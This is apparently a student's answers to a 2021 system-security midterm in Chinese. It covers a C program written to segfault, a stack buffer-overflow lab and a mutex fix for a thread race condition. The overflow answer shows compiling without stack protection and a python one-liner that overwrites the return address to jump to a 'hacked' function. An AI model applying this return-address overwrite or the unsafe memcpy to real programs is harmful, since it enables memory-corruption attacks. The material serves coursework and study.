---
# System prepended metadata

title: 2021 系統安全 - 期中考 (4/19)

---

# 2021 系統安全 - 期中考 (4/19)


## 1. Segfault
``` c
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    unsigned short s;
    int i;
    char *buf = "Hello, try to make a segmentation fault to me.";
    char *buf2;
    if(argc < 2)
    {
        printf("Usage: %s <the length of string>\n", argv[0]);
        return -1;
    }

    i = atoi(argv[1]);
    s = i; 

    if(s > 47){
        printf("The string length is only %d!\n", sizeof(buf));
        return -1;
    }

    printf("The length of output string you like: %d\n", s);

    memcpy(&buf2, &buf, i);
    buf[i] = '\0';
    printf("Truncated string: %s\n", buf2);
    
    return 0;
}
```

### (1)
![](https://i.imgur.com/99oHRBf.jpg)
![](https://i.imgur.com/MIDJm6b.jpg)
![](https://i.imgur.com/4S83PFB.jpg)
![](https://i.imgur.com/fNXJUPH.jpg)

### (2)
將 `buf` 和 `buf2` 都改為指標型態
`buf[46]` 改為 `*buf`
`buf2[46]` 改為 `*buf2`
`memcpy(buf2, buf, i);` 改為 `memcpy(&buf2, &buf, i);`
**Segmentation fault 主要原因是**
`buf[i] = '\0';`
因為 `buf` 宣告時候沒規定大小導致 i > buf的空間，造成溢出

## 2. Hack Me

### (1)
![](https://i.imgur.com/5xY6fBX.jpg)
![](https://i.imgur.com/J5fvTOK.jpg)
![](https://i.imgur.com/uGoDScI.jpg)
![](https://i.imgur.com/YGJXce0.jpg)


### (2)
**1.** 先進行編譯，編譯時取消Stack保護
`gcc -fno-stack-protector -g -o bufovflow bufovflow.c -no-pie`
**2.** 用 disas hecked找到開始的地址
**3.** 再使用 python 進行執行程式數據分配及輸入hacked地址
`python3 -c 'print ("A"*(16+8) + "\x7a\x11\x40\x00\x00\x00\x00\x00")' | ./bufovflow`
hacked 地址 `0x0000000000401176` 或 `0x000000000040117a` 都可以成功 hacked

## 3. Multi-Thread Race Condition

### (1)
![](https://i.imgur.com/QpupRhw.jpg)
![](https://i.imgur.com/AF3sGXS.jpg)
![](https://i.imgur.com/2SfncMY.jpg)

### (2)
![](https://i.imgur.com/HNd42zS.jpg)
![](https://i.imgur.com/jOoCgxU.jpg)
![](https://i.imgur.com/2GvGwtO.jpg)

### (3)
修正後的程式
``` c
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>

pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;

int counter = 0;

void* childthread() 
{
    int i, tmp;

    for(i = 0; i < 3; ++i) 
    {
        pthread_mutex_lock(&mutex1);
        
        tmp = counter;
        sleep(1);
        
        counter = tmp + 1;
        
        printf("Counter = %d\n", counter);
        
        pthread_mutex_unlock(&mutex1);
    }
    pthread_exit(NULL);
}

int main() 
{
    pthread_t t1, t2;
  
    pthread_create(&t1, NULL, childthread, NULL);
    pthread_create(&t2, NULL, childthread, NULL);
    pthread_join(t1, NULL);
    pthread_join(t2, NULL);
  
   return 0;
}
```

新增一個
`pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;`
為 thread 的鎖
然後在每個子 thread 中要計算counter之前用
`pthread_mutex_lock(&mutex1);`
將他鎖住，在同一時間只能有一個 thread 有權限讀寫 counter
直到印出後用
`pthread_mutex_unlock(&mutex1);`
解除鎖定
